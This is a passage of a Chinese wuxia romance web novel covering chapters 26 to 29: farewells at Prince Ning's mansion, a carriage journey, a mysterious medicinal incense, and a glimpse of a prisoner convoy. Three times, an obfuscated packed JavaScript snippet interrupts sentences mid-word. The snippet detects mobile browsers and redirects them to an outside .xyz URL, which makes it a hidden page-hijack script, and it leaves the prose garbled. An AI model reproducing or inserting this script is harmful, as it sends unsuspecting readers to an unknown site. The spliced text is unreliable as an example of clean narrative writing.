隔壁长辞跟江入年颠儿颠儿地搬来了矮凳,排成一排,扒在墙头听姜云院里的动静。听得那头宁王语气平平道:“你想和他们一起去大敖山?” 姜云从方才的回忆中回神,也没问他是怎么知晓的,只抿着嘴道:“嗯。” “为何?” “听闻大敖山南麓有一味名贵药材,可解百毒,我想去找找。王爷不用担心,归云阁既下了拜帖,您只说是让我代为前往赴宴便可。” 说起药材,她单薄的脊背不自觉地挺拔了些。宁王深邃的眼眸在她身上停留须臾,嗓音有些干哑,“也好。” 这两年她总刻意躲着他,能不见就不见,如今好不容易主动邀他来一次,为的也只是离开之事。宁王忽然觉得胸腔有些发闷,想发泄又发不出来。 默了默,只没头没尾地问了一句,“你是不是……还在因为那件事恨我?” 姜云一听这话,淡漠的眸子忽然有了起伏,垂在身侧的指尖下意识蜷缩起来,恨吗?怎么能不恨?那可是她的亲生骨肉啊! 可心里再怎么汹涌,面上却一如既往的平静,“爱恨嗔痴七情六欲于修养神思无益,妾身如今只钻研药理,不作他想。” 宁王看她一脸别无所求,忽觉胸口被什么扯了下,隐隐有些发疼。她如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109710|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今对他,好像真是可以做到当初那句“恩断义绝,萧郎陌路”……罢了,好事情。 此时隔壁院内。 正在偷听的两人对视一眼,“什么事啊?”怎么感觉那俩个人气氛怪怪的。 身后的庄慕怀眼皮微抬,“两年前姜妃曾怀过一个孩子,后来因为一些事……没能留下来。” “有人故意害她?柳庭月还是哪个侍妾?” 庄慕怀道:“皇家子嗣,自是皇家人。” “先帝,太后,还是别的宗亲?”长辞撸起袖子,风风火火地就要冲过去找宁王算账。 庄慕怀只恨自己嘴太快,赶忙将她拽住,“这事儿没你想得那么简单,你别瞎掺和。” “这么一说我倒是想起来了,宁王府这些年怎么一个孩子都没有?”江入年嘀咕,已故王妃先不提,可柳妃也来府上五年了,为何也没有诞下子嗣?还有那几个妾室,也都无所出……这事儿想来的确是有些怪异。 “会不会是宁王……不举?”江入年小心翼翼问。 庄慕怀白眼道:“那两年前姜妃怀的孩子是哪儿来的?” “也是哦。” 话说到了这份上,长辞也就明白过来是怎么一回事了,慢悠悠放下袖子,继续收拾东西去了。 几人边闹边忙活,一直到日薄西山才收拾停当。 翌日一早,众人向宁王辞行。宁王将庄慕怀送至大门外,嘱咐他此去大敖山万事当心,正说着,一眼就瞥见巷口处跟几个小乞丐围成一圈的长辞。 瞧那个样子,站没站相,坐没坐相,嘴里还叼着根草……再看最中间那人,坐在一个驴车上,身上还缠满了纱布,放眼望去真跟群傻子似的。 “慕怀。” 宁王揉揉有些疼痛的鬓角,“说句不怕得罪你的话,我其实十分不赞成你跟她在一起。” 庄慕怀一头雾水,顺着宁王的视线看向巷口,这才反应上来他说的是长辞。 此前他跟宁王提及过与长辞同盟之事,看来宁王还是不大放心她,估计觉得一介女子算不上什么得力帮手。 遂解释道:“王爷不必忧心,她武功不在我之下,轻功更是一绝,定能助我成事。” “什么?武功还比你高?”宁王更是忧心忡忡了,这人脑子不正常,日后若是打也打不过,说又说不听,慕怀这日子可怎么过啊。 “行了,我自有分寸。”庄慕怀见他脸色愈发难看,一副欲言又止的样子,拍拍他肩膀,“走了啊。” 宁王叹息一声,心道你都要被人吃了还知道什么分寸不分寸。罢了,各有各的缘法。他也只能无奈朝庄慕怀拱了拱手,“回京时务必来王府歇脚,我帮你找名医!” 见庄慕怀拎着笛子走远,这才转身看向静静候在马车边上的姜云,昨日在院里便没说什么道别的话,今日众目睽睽,更不知道该说些什么好。 27. 第 27 章 她本就娴静话少,自打两人有了隔阂,能说的话就更少了,宁王拉不下脸面说些软和哄人的话好叫她早日归来,只从腰间卸下一枚玉牌递给她,语气淡淡道: “这玉牌是母妃当年为我所求,你拿着,能保平安。” 姜云神情一凝,这东西他贴身戴了十几年,如此贵重,她怎么能收,正欲开口回绝,又听宁王道: “大敖山一带近日鱼龙混杂,我虽没什么大望,这玉牌倒还有几分威慑力,你先收下,日后回来再还我便是了。” 话已至此,姜云也就没再推脱,垂眸接过道:“谢王爷。” “切勿操劳过甚。” “嗯。” 宁王察觉她态度冷淡,知道她断不会与自己同别的夫妻一般惜惜相别,也就没再说什么,嘱咐了车夫几句,转身就朝王府里走去。 岂料刚一转身,就听到背后有人叫他。 “王爷。” “何事?”宁王心里一喜,忙扭头看她。 姜云的目光从他身上一略而过,盈盈一礼,缓缓笑道:“保重。”说完就头也不回往巷口的方向走了。 不知道是不是他的错觉,宁王总觉得这句话不像道别,倒像永别。他站在原地久久不能回神,心里仿若压着块巨石一般,有些喘不过气来。倏而又觉得自己想多了,姜妃父母均已亡故,宁王府便是她的家,她不回这里还能去什么地方? 另一边,长辞正在跟那个叫“枭哥”的小乞丐说话。睨了他一眼道:“你腿脚又不利索,一天到晚瞎跑什么?” “这怎么能是瞎跑?”小乞丐一拍车辕,语气老练十足,“枭哥我行走江湖一向‘义’字当先,听闻是你救了我,如今你要走,那我能不来亲自送行吗?” 长辞在他脑门一弹,“得得得,那你赶紧送,我还赶时间呢。” 小乞丐疼得龇牙咧嘴,“总之谢谢你给的汤药费,日后我一定会还……” 说到一半,他忽然意识到以后还能不能见到都说不准,便话音一转改了口,“日后若有用得上我的地方,尽管传信来昇州,实不相瞒,我在汴京也有兄弟。” 长辞插着腰大笑,“哈哈哈,一言为定,那我在此先谢过枭哥了!” 正笑得开怀,这时姜云从王府门口走过来递给小乞丐一个信封,瞧着沉甸甸的,估摸着里面装了不少碎银。 只听她柔柔道:“小兄弟,王府在城外新开了一个马场,近日在招手驯马的学徒,月例不算多,但管吃管住,也算是个能遮风避雨的地方,你若愿意,可带着这几个孩子一同前去,这是我亲自写的推荐信,管事的看过之后一定会收下你们。若你们不愿,以后有事也可来王府找阿朱姑娘,她……” “愿意愿意,我们愿意……”话音未落,只见驴车旁那俩小乞丐眼珠子都红了,说着就要跪下来磕头。 姜云忙扶起他们。“枭哥”面子有些挂不住,支支吾吾,“行吧行吧,虽然没我现在挣得多,但好歹是个稳定的活计,我就勉为其难地接受了。” 长辞往他脑袋一拍,“说谢谢。” “谢谢……” 姜云笑着摇头,这时江入年他们装好了马车,晃晃悠悠地准备启程了。 “喂!” 长辞回头,见“枭哥”一手抱着驴脑袋,一手朝她挥舞着:“保重啊!后会有期!” 长辞跳上马车兀自一笑,什么有期?小鬼,后会无期啦! 马车叮呤咣啷,不紧不慢地穿过闹市。 要说江入年也真是财大气粗,就这么几天的功夫,竟然找车牙花重金专门打造了一辆富丽繁贵的马车,车身精妙,内部空间巨大,五个人分散着坐竟然还有空余,车前两匹健硕的俊马并驾齐驱,真是好不威风! 后面跟着辆稍小的马车则是用来载他们的随行物品,当然,主要都是江入年的东西。长辞指尖捻过软丝绸缎所制的车帘,十分好奇,“你家是做什么的这么有钱?” “不是我家,是我。” “你还懂赚钱的门路?”长辞打死都不信。 “那是自然。”江入年颇为得意,“我外祖家世代经商,到外祖这一辈已是累积了显赫家财,我自小就讨得长辈欢心,每每入府拜见都能收获颇丰。” 得,原来是这么个赚钱法…… 江入年掰着手指头算,“从我记事起到如今,差不多也攒了有上千两了。” “那也不算太多……”长辞张口就来。 “黄金。” “多!实在是多!”反转来的太快,惊得长辞差点咬到舌头。 说着又想到什么,瞅了眼身后在软榻上闭目养神的庄慕怀,“对了,你外祖父不就是庄慕怀外祖父吗?他怎么就看着比你……” 长辞原本想说“比你寒碜多了”,又觉得其实跟绝大多数人相比庄慕怀算是富有了,故改口道:“怎么没有你威风?” 江入年小心翼翼地看了眼表哥的背影,比了根手指在唇边,“嘘,我表哥不喜欢提起这事儿,因为姨母从不准他去外祖家。” “为什么?” “不知道。” 江入年幼时也总问母亲,为什么庄表哥不能同他一起去外祖家?她母亲听了总是摇头,叫他莫要再问,后来长大家里更是无人提及此事,江入年便识趣地不再追问了。 长辞正疑惑着,这时,马车突然“吁”地一声停了下来—— “怎么回事?”江入年率先探出脑袋,看清来人后有些吃惊:“咦?怎么是你?” 长辞跟着探头一看,来人竟是袖娘。此刻他们已经都到北边的城门口了,明春坊还在南边,看来袖娘是一路从城南跑过来的,怪不得喘着粗气一句话也说不出来。 “你怎么啦?”江入年扶着窗牖,猜道:“难道是明春坊不准你赎身?!” “不是,不是。”袖娘连忙摆手,“长辞姑娘在吗?” 长辞听罢直接跳下马车,“何事?”赎金不是已经让江入年给她了吗?难不成是那管事的坐地起价? 正不解着,眼前赫然出现了一个白釉萱草纹香盒。 “得知您今日要走,我特地跟管事的告了假,专程前来致谢。”袖娘羞涩一笑,“还好赶上了。” 庄慕怀不知道何时起了身,坐在车辕上故意逗长辞,“呦,人缘不错呀,再不出城,我看全城百姓待会儿都要夹道相送了。” 袖娘一看众人都在盯着她看,脸“唰”一下子就红了,不好意思地低下头,用袖口擦了擦香盒上的划痕。 “长辞姑娘,这个送你。”她将香盒递给长辞,生怕她嫌弃似的,急忙解释:“这是新的,没用过,上面划痕是几经奔波所致,不是脏的。” 长辞随意惯了哪会讲究这些,乐呵呵将它塞进腰间的兜里。 袖娘看她不嫌弃,也跟着乐呵,“这香是我娘留给我的。她的家乡擅长制香,据说这盒香用的是祖上传下的制香法子,对安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115221|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神助眠有奇效,可惜就只剩一盒了,不然我就能多给您一些。” 长辞对熏香一概不通,随口应了几句,又问她,“赎金都交了,你怎么还没离开明春坊?” “明日便走,说好的今日再唱最后一场。” 长辞点点头,“行,那你路上当心。” 说罢就要回身上马车,却见袖娘看着她欲言又止,忽然落下几滴泪,“姑娘,您大恩大德我此生怕是无以为报了,我、我……” 她想起前日长辞翻窗去明春坊找她,上来就先扔了一袋银子在桌上,开门见山道: “薛通死了,你想离开明春坊吗?” “……什么?他死了?”袖娘眼皮一跳,简直不敢相信。 “我的意思是,如果你是被迫才来此地,那我可以给你赎身,你若不怕辛苦,可以带着你弟弟去江宁杏林堂找叶掌柜,你放心,那个积德行善的老头定会收下你们。你识字,还会算账,叶掌柜在工钱上绝不会亏待你的。” “当、当真吗?”天底下哪有这种好事,袖娘半信半疑,“可赎金实在不是一笔小数目,我怎能白白……您是想让我做什么吗?” 长辞道:“也不做什么,就是如果有人向你问起那晚的事,希望你可以守口如瓶,不要告诉别人曾在来福居见过我。” 说完就将银子塞进了她手里。 袖娘惶恐,“姑娘有恩于我,我怎能出卖姑娘!”说着又下跪连连磕头,“活菩萨,您定是那救苦救难的活菩萨……” 磕完抬起头来,眼前人已不见了踪迹,唯有窗边的风声留下一道萧瑟的声音,“活阎王还差不多。” …… 送走了哭哭啼啼的袖娘,长辞耳根子终于清净了,马车出了昇州城,缓缓拐进绿意盎然的林子里。 姜云得知袖娘一事的来龙去脉后,拉过长辞的手道:“阿辞,你面慈心软,一定会有福报的。” 其余三人:“……”面慈心软,你认真的? 江入年有些不服气,小声嘀咕,“要有福报,那也该我有福报,跟她有什么关系呀?” 接着双手合十抬头向天拜了又拜,嘴里反复念叨着:“这是我的钱,福报记在我头上,这是我的钱,福报记在我头上……” 长辞凑近耳朵一听,乐得哈哈大笑,“出息!” “那怎么了?”江入年坐在靠长辞较远的地方,也不怕被她揍,“赎金是我出的,让她去江宁投奔叶掌柜是简哥说的,简哥是怕我们俩去明春坊不合适才叫你出面去,要不是我多给了你一锭银子,你还不愿意去呢。” 江入年为自己打抱不平,“怎么到头来名和利都被你给捞去了。” 这可是他出远门以来干的第一件行侠仗义之事,如此丰功伟绩本该大肆宣扬,可简哥却觉得说出去会对那姑娘名声不利,故而没让他说,想想真是憋屈。 长辞思忖片刻,觉得自己好像明白了他的意思,“你是不是想要这盒熏香?早说啊!”说着从兜里掏出来放在矮几上,“给,拿去。” 江入年一拍桌子,“我要的是这个吗?我要的是行侠仗义、万世流芳的名声!” 众人:“……” 长辞懒得跟这傻小子计较,正打算收回香盒,不料姜云却盯着那白釉萱草纹轻轻“咦”了一声,先一步将其拿在手里端详起来。 “这好像不是普通的熏香,而是药理熏香。”说着打开盖子闻了闻,“里面调和了不少药材。” 28. 第 28 章 “这种香十分古老,如果没猜错的话,如今应该只有吴越国一个叫曲素的地方才有。”姜云还是此前跟随宁王到吴越时,路过此地才知道的。 江入年道:“曲素?没听说过。” “相传这是一个十分古老的民族。”张行简原本正跪坐在矮几上奋笔疾书写着什么,闻言放下笔道: “兴盛于东周,位于钟离国北部一带,‘曲素’用中原话说就是预知天意的意思。听闻后来钟离国灭国,曲素一族就跟着消失不见了,不过也有记载称,有一小支隐居至大山深处,世代不得出,故而千百年来也从未有人能寻找到他们的踪迹。” “而如今吴越那个叫曲素的地方,实际上住的并非当年曲素一族之后。” “这么神秘?”江入年凑上来摸了摸那白釉香盒。 姜云道:“这我倒是不太清楚,我只记得古医书上记载过这种熏香,此香由五方真气香调和而成,分别对应春夏秋冬及五行序列,五行又对应着人体的五脏,据说熏之有延年益寿之效。” 她顿了顿接着说,“更有甚者,认为此香若调配得当,可使人长生不老。” 长生不老?长辞接过盒子嗅了嗅,总觉得这味道不太常见却又有点熟悉,好似在哪儿闻过,一时间又想不大起来。 四个人围着矮几,轮番将香盒拿在手里研究。唯余庄慕怀一人躺在里侧的软榻上没有言语,一如既往地闭目养神。 长辞往后一仰,侧目瞧了他一眼。 虽说这人嘴巴欠搜搜,每日都要招惹自己上百回,但长辞还是觉得他恹恹的,好像对什么都提不起兴趣,有时候她甚至觉得,庄慕怀这个人连生死都不甚在意。 可他也才二十岁,又能经历过什么可让他看透生死的大事呢? 江入年将香盒拿在手里把玩了会儿,觉得没意思又跑去看张行简写东西。他已经写好了一厚沓,就放在身侧的软茵上。 江入年一页一页逐字逐句地看过,嘴角翘得高高的,似乎满意地不得了。 长辞猫儿似的眯眯眼,直觉有热闹可看,心思打了个转儿,忽然撩起车帘道:“快看外面!” 其余三人都齐刷刷转头去看。说时迟那时快,只见一只白皙修长的手从江入年眼前飞快划过,两指一并,“唰”一下夹走了他手里的东西。 待江入年反应上来的时候,手上的东西早已不翼而飞。 “喂!叶长辞,不许看!”江入年边说边伸手去抓,奈何中间隔着一道矮几挡住了他大半个身子。 “说过多少遍,我不姓叶。” “管你姓什么,总之你快还给我!” 那头长辞已经看完了两页纸的内容,边看边笑得合不拢嘴,“哈哈哈我没看错吧!少侠自传?江入年你要不要点脸,有这么夸自己的吗?” 她捂着肚子将那几页纸拿给姜云看,“天降奇才,挥剑决浮云,一怒而众神惧……看来炎黄二帝都不如我们江少侠厉害!” 江入年双颊通红,羞得不得了,大有一副要跟长辞同归于尽的架势,说着抄起手边的软枕就往长辞身上砸去。 长辞边笑边往后躲,全然没注意到自己的身子擦着里侧那人的右臂有一下没一下地剐蹭着。庄慕怀指尖掠过一片柔软,酥酥麻麻,不自觉蜷缩了下。 唯有坐在最外侧的张行简一本正经,全然不觉得这有什么好笑的,为东家服务是他的宗旨,说罢还问姜云有没有什么提议,姜云想笑又不好意思笑,抿着嘴道:“张先生大才,文章行云流水,让人……不觉明厉。” 长辞看她为难的样子,更是笑得前俯后仰,差点连桌上的茶盏都打翻了。 姜云被她感染,终于没忍住“噗嗤”一声笑了出来。江入年一脚踩上矮几,作势要来抓长辞,长辞左躲右闪,马车跟着摇摇晃晃地前行。 张行简护着砚台,大喊:“停!快停!我的手稿!” 马车里热闹地如同千人闹市,连庄慕怀都被吵得睁开了眼,好整以暇地看着这俩人掐架。姜云有些不好意思,“庄公子,这儿太吵,不如您去后头的马车上休憩。” “无碍。”庄慕怀盯着离自己咫尺距离的疯丫头,不知心里在想什么,淡笑道:“热闹才好。热热闹闹的才能睡得踏实。”说罢又闭着眼睛,不一会儿就呼吸均匀地沉沉睡去。 姜云心说庄公子也真是个奇人,这么吵竟然还睡得着觉! 马车轱辘“吱呀吱呀”地压过林间小径的青苔,车前两个雕琢精巧的灯笼随之悠悠晃动,春末夏初日初长,南风煦和,带着淡淡的草木香吹过十里田庄。 车夫坐在车头昏昏欲睡,听着里面的人话家常。 张行简道:“对了,方才我在城门口买馒头的时候,怎么听城里的人都在传柳妃跟薛通……” “跟薛通什么?”江入年好奇。 那话张行简可说不出口,思来想去,挑了个还算文雅一点的词,“……暗通款曲。” “真的假的?” 张行简道:“据说这事已有好几年了,光是府里的下人都撞见过无数回,奈何迫于薛通的淫威,谁也不敢将此事说出去,这不,前几日薛通及手下莫名死在城外,才有人爆出了这一惊天秘密。” 江入年眼睛瞪圆,瞳孔中满是惊讶之色。姜云也微微讶异,柳妃这人向来眼高于顶又极注重脸面,按理说不至于做出这般事来。 江入年又道:“那既然此事闹得满城风雨,宁王就没说点什么吗?也没抓几个造谣生事的人?”又一想,早上送他们出府的时候,宁王神情正常,好像还不知道这件事呢。 “抓谁呀!”长辞伸直了双腿往后一靠,“源头在哪儿都尚未可知呢,不过我听说,柳庭月和薛通有一腿这事,那九天神女可是亲眼所见,我估摸着这事儿就是她抖落出来的。” 什么玩意儿?江入年懵道,“什么九天神女?” “就是此前传说杀了昇州城三个恶霸的那个天女。” 是她呀!“那既然天女都这么说了,看来此事八九不离十就是真的了。”江入年笃定道。说着又觉得不可思议,“宁王状甚魁伟,是多少女子梦寐以求的佳郎,柳妃怎么可能会看上薛通呢?” 长辞一副颇懂的样子,门儿清道:“哎,也不尽然就是看上了,那些高门贵女玩得花的很呐,你一个小孩子还是别知道太多比较好。” 江入年脸一红,又听她问张行简,“对了,你去城门口买馒头干什么?” 张行简怕长辞听了“流民”二字又要生气,故而没敢说是担心那群流民还在,给他们准备的。只含糊说预备留着路上吃。 这闪烁其词的神态落入江入年眼中就成了窘迫之态,心说简哥也太可怜了,为了读书花光所有家当,如今只能啃馒头果腹。遂大气凛然道: “简哥别怕,以后你的吃食我全包了!还有,《天下第一山庄江少侠之初闯江湖》这本书出世之后,我会再给你五成的分成。” 长辞“噗嗤”一声乐了,“还真打算卖钱啊。”竟然连名字都起好了。 这时马车行至一处风景秀丽的小溪旁,江入年嚷嚷着要下去活动活动筋骨,众人也都坐久了四肢有些发僵,便打算在此停驻片刻。 趁着那三人都走远了,庄慕怀跳下车头,气定神闲地看着正给马儿刷毛的长辞。 “柳庭月那事儿跟你有没有关系?” “有啊。”长辞正开心地捋顺马毛,闻言从马背后面探出脑袋,丝毫不避讳地说:“此事正是本天女亲自传出去的!” 庄慕怀对此倒是没有很意外,“啧”一声,“柳庭月便罢,你怎么连着宁王都一起算计上了?” 谁叫他对姜姐姐不好,下他面子都是轻的!长辞在心里诽谤一番,抬头看向庄慕怀,“喂,你不会偷偷给宁王告状吧?” “没良心的丫头。”庄慕怀用玉笛敲她发髻,“这么久了我站在谁这边看不出来?杀薛通,制柳妃,你还真当宁王不知道啊,你以为是谁替你兜的底?” 那日在宁王府书房,宁王看着他语重心长道:“慕怀,你有圣命在身,可万万不能做错了事。”当时庄慕怀道:“怕什么,我这些年做的错事还少吗?也不差这一件两件的。” 长辞这么聪明的人不会想不明白,这里面要是没有庄慕怀的功劳,她这会儿估计连昇州城的大门都出不了呢,故而听了他的话,心里还是挺受用的。 “对了,宁王一开始没说要如何处理我吗?” 庄慕怀没好气地睨她一眼,“你都说了你是我未过门的妻子,人家还能把你怎么样?” 长辞背过身压了压翘起的嘴角,嘀咕道:“你自己不是也没澄清。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125645|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >庄慕怀无奈看她两眼,随后又道:“对了,你真就这样饶了柳庭月?”被她骗到偏殿下药,这么大一笔账竟然就这么轻轻揭过去了?不应该啊,这可不像这疯丫头的作风。 “跟你学的呗。” 长辞刷了几下马背,“你不是说,让一个人死不如让他生不如死吗?柳庭月这么好面子的人,要是听了那样的风言风语不得食难下咽、枕难安眠,睡着了都能惊坐起怒骂一句:是哪个小贱人敢造老娘的谣!” 说着说着给自己逗乐了,把刷子往水桶一扔,双手叉腰笑得合不拢嘴。 “你以为谁都像你似的,说话如此粗俗。” 长辞“哼”一声,抬着下巴道:“反正这法子就是跟你学的。” 正说着,身旁之人忽然靠近,一股松香扑鼻而来,庄慕怀嗓音松松懒懒,低低地爬上她耳畔,“怎么这么听我的话?嗯?就这么想做我未过门的妻子啊。” 长辞正准备骂他一句不要脸,又听那人叹道:“哎,真是没想到长辞姑娘如此大度,早知道我就不去替你出那口恶气了。” 长辞眼神一亮,“你干了什么?” “据我所知,柳庭月之所以觉得自己高人一等,全是因为她那个户部尚书的好爹,于是我便让人送了点柳尚书贪污受贿的证据回汴京,估计过不了多久就有热闹可看了。” 长辞歪着脑袋朝他眨眼,“你这么厉害呢!” 庄慕怀故意学她的样子,跟着眨眼道:“那是,咱们汴京有人。” 他本就面如冠玉生的极为好看,倏而眨眼一笑,倒少了些平日的恹态,多了几分意气风发的少年感,长辞嘴上不说,心里却暖呼呼的。以前在钟离国,除了兄长没人替自己出过头,所以她一直以来都是靠自己的拳头解决问题,哪想来到此地,竟也有人为自己出头了。 庄慕怀可没错过她眼底稍纵即逝的那一抹感动,遂张开双臂道:“这么感动啊,那抱一个?” 死装不坏!长辞正要伸手打他,哪料就在此时—— 身后的马儿抬起头,碰巧要去够斜前方的草料,冷不丁就将正好站在马头的长辞往前用力一拱,长辞被撞躲闪不急,就这么直挺挺地往庄慕怀胸口生扑了上去。 庄慕怀只感觉有两坨柔软的东西猛地顶住自己,还没来得及细想,就被一股力道裹挟着顺势往后退了好几步。 午后的光影绕过树荫,旋在女子软糯的嘴角。庄慕怀目光灼灼,盯着近在咫尺的朱唇,喉结不自觉地滚动了下,搭在她腰间的手臂蓦然就不想松开了。 他觉得自己大概是病了,而且是很严重的那一类病,否则心里怎么会突然燥得慌。 此刻,在河边打完水刚一转身就看到这一幕的三人:“……” “他们俩贴在一起干嘛?”张行简问。 “搞对象吧。”江入年咬着指甲盖愤愤不平。 叶长辞这个妖女,肯定是她又在勾引表哥了!想他表哥何等清贵尊傲,又何曾对女子这般火热过,想着想着,嘴上一不留神竟直接给说了出来,“哼,凶巴巴的女人,怎么可能配得上我表哥嘛?” 姜云竖起耳朵一听,面上虽不显,心里却有些不高兴,心道庄公子又不是什么绝世好郎君,没心没肝的,要说配不上,那也是庄公子配不上阿辞。 三人中唯有张行简笑得开怀,心里暗暗叹道,不错不错,庄公子这人看着浪荡,实则洁身自好,又与长辞默契相甚,两人最相配不过了。 再说这边,长辞已然从方才的怔愣中回过神来,往上瞪了一眼,“还不放开?” 庄慕怀因为那个子虚乌有的“病症”确实不想放开,为了掩盖自己的心虚,故意带着几分不正经的语气道:“腰还挺细。” 长辞“蹭”一下整个耳根子都红了,一掌将其推开,捞起水桶里刷马毛的刷子,二话不说就朝着庄慕怀脸上呼了过去。 庄慕怀连闪带逃,终究还是没能避免被水渍溅到的惨状,暗叹两声,无奈跑到溪边去打理。 张行简和姜云一看,心说原来不是搞对象啊,这不是打架么…… 唯有江入年依旧对此深信不疑,只叹他表哥完蛋了,深陷进妖女的圈套而无法自拔了。都跟马儿共用一桶水了还高兴呢,这要是在汴京,谁敢溅他表哥一身脏水,那不得被他按在水桶里喝上十天半个月啊。 29. 第 29 章 长辞揉了揉扁扁的肚子,跑到后面马车上找点心吃,恰巧遇上了正在捣鼓他那些馒头的张行简。 “干嘛买这么多?都快入夏了,过几天吃不了全馊了。” “吃不了就分给路过逃难的人嘛。”张行简假装很忙碌地把装着馒头的包袱绑紧,实则小心翼翼地试探长辞的反应。 “说起这个,有件事我一直想问问你……长辞啊,你明明对许多人都很好,为什么独独那么讨厌流民呢?” 长辞意外,“我对谁很好了?” “昇州城的小乞丐,还有袖娘。” 长辞没急着回话,先吃了两块桂花糕,这才慢悠悠开口。“我可不是你,天生一副菩萨心肠,也不是江入年,天天叫嚷着要当侠肝义胆的大侠,我给那个小乞丐出诊治费,托姜姐姐去看他,只是因为他受伤皆因我而起,谈不上什么好不好。” “至于袖娘。”长辞一脸无语,“不是你说怕有损人家姑娘清誉,非要让我出面去明春坊解决的吗?” “那在这之前呢?福来居的那个晚上,你又为何要救她?”张行简刨根问底。 长辞回道:“不知道。” “不知道就对了,这才是真正的侠义之举,我助人是为了追求心中的道,江入年助人是为了成为人人称赞的大侠,我们都有私欲,唯有你,是不计回报地付出……” 眼看他说的越来越离谱,长辞皱眉打断,“行了行了。” “其实救她是因为……”她闭了闭眼,难得地正经了一回,“张行简,你不知道,我母亲、就是被人玷污后自尽的。” 这一声轻飘飘的,听不出什么情绪。张行简一怔,忽然觉得嘴里涩得有些发苦,久久不能平复。 他轻轻拂去打落在肩头的枯叶,深深叹了一口气,良久才道:“长辞啊,你既遭此劫难却还能做到这般,就足以证明你真的是个很好的人。我呢,虽不知晓你因何总是别人竖起满身尖刺,让人误以为你凶神恶煞的,但在我心里,你就是个很好很好的孩子。哪怕你闯过祸,杀过人……” “打住,打住!” 长辞头疼,“你好像对我是不是个好人这件事执念很深?” “我只是不希望你妄自菲薄。” 长辞一愣,妄自菲薄吗?曾经钟离国人人都说她妄自尊大,唯余兄长一人紧握她手,告诫她不要妄自菲薄。 随即“嗤”了一声,也不知是挖苦还是认同,“你还真是像我那位风光霁月的兄长啊,连说的话都如出一辙。” 张行简惊讶抬头,这还是她头一次提及自己有个兄长的事。 “没想到你还有兄长?”张行简不免好奇。 “嗯,他虽然蠢,却一直待我很好。” 长辞这人见谁都觉得蠢,张行简心领神会,心道人家兄长也不尽然就是真的蠢。 “那他人呢?” “已经死了。” “啊?”张行简再一次怔住。 “万箭穿心而死。”长辞拍掉撒在衣襟上的糕饼渣子,面上没什么情绪地抬头望天,“我没试过,不知道万箭穿心是不是真的很疼。” 她语气平淡如水,却又让人听了振聋发聩。 这话让张行简怎么往下接,他没法接,他的嘴巴就像是灌了铅一般动弹不得。长辞这话说得淡然,就像在说今日晚膳怎么吃一样简单,可张行简却觉得,那平淡的眼眸之下暗藏着一股悲伤到难以言语的情绪。 就在他准备说点什么的时候,这时,一阵马蹄声和脚步声从不远处传来。 几人抬首望去,只见官道上走来一队人马,长长一列井然有序。走在前后的都是手握刀剑的士兵,中间押送着几个囚车。 长辞眼尖,一眼就认出来最后面一辆囚车上关押的囚犯,正是关在宁王府石塔里的那个女人! 很显然江入年也认出她来,不可思议道:“哎!那不是前几日死了丈夫在州衙门口鸣冤的妇人吗!她怎么会、怎么会被关起来?” 莫非……官府想要灭口?!江入年眉头紧锁,神情严肃,“不行,我得去救她!” 说着就要拔剑往上冲。不料还没迈出去一步,就被刚从小溪边回来的庄慕怀一把给拽住了。 “你是不是蠢?”庄慕怀睨了他一眼,“看不出来那是禁军吗?你要是不怕死你就去,胆敢接近他们三尺以内,就直接给你削成肉泥。” 正说着,那群人就已经走到了眼跟前。他们的马车方才停在路边的草地上,倒是也没挡着官道,打头的官兵看了他们两眼,而后朝庄慕怀点了点头,领着队伍训整有素地继续往前走了。 江入年自小在汴京长大,禁军什么样他还是清楚的,光看甲胄与兵器,就知道这些人绝不可能是地方军。 此处刚好是个岔路口,长辞等人要往南行,那队伍却是浩浩荡荡地往北走了,没猜错的话,那条路应该是去往汴京的方向。 只是最后一辆囚车经过他们时,猛然飘过来一股恶心难耐的酸臭味。 江入年恶心得想吐,却又不敢大声叫嚷,直到那队伍走远了他才捂着鼻子连连跺脚,“呕,那囚车上什么味儿啊!臭死人了!” 这味道确实是有些怪,说是臭也不全然对,准确来说是一股酸酸苦苦的药臭味儿。长辞觉得这味道好生熟悉,好像在哪里闻到过…… 倏而,一个画面从脑海中划过。 是姜姐姐院子那个难闻的药草! 长辞记得刚到宁王府第一天时,因为庄慕怀那家伙自己从院墙上摔了下去,当时头顶上粘了一整片黑乎乎长条型的东西,就是这个味道,又酸又臭。后来姜姐姐给她擦药时才说,这东西是一种外敷伤口的敷料,敷之见效极快。 ……可那石塔里的女人身上为什么会有这种草药味儿?难道姜姐姐曾偷偷潜进去给她上过药? 不对啊,按说此事极其隐秘,除了宁王与其亲信,府里其他人都不该不知道有这么个人存在,此前长辞有意试探过老管家,连他都不知道石塔里关着个人,姜姐姐偏居一隅又怎么会知道? 还是说,是有人偷拿了她的药,然后给了石塔里那个女人? 